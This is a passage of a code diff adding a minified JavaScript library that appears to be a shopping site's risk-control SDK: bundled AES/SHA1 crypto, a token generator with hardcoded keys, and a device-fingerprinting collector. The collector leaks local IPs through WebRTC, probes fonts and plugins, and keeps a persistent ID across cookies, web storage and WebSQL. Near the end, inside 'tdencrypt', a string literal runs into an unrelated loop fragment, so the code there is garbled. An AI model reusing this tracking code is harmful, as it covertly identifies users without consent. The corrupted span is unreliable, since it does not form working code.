_createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } + }); + var k = v.algo = {}; + v.channel = {}; + return v + }(Math); + + JDDSecCryptoJS.lib.Cipher || function (t) { + var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); + v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 + }); + var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); + n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m + }(); + var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } + }; + v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 + }); + var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } + }); + u.format = {}; + var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } + }) + }(); + (function () { + var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; + (function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } + })(); + var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; + v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 + }); + t.AES = u._createHelper(v) + })(); + + (function () { + var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; + u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } + }); + t.SHA1 = x._createHelper(u); + t.HmacSHA1 = x._createHmacHelper(u) + })(); + + (function () { + var t = JDDSecCryptoJS, + u = t.channel; + u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } + }; + u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } + } + })(); + + (function () { + var t = JDDSecCryptoJS, + u = t.lib.WordArray; + t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + } + })(); + + class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } + } + var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", + _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", + _url_query_str = "", + _root_domain = "", + _CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) + }(), + jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } + }() + var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = 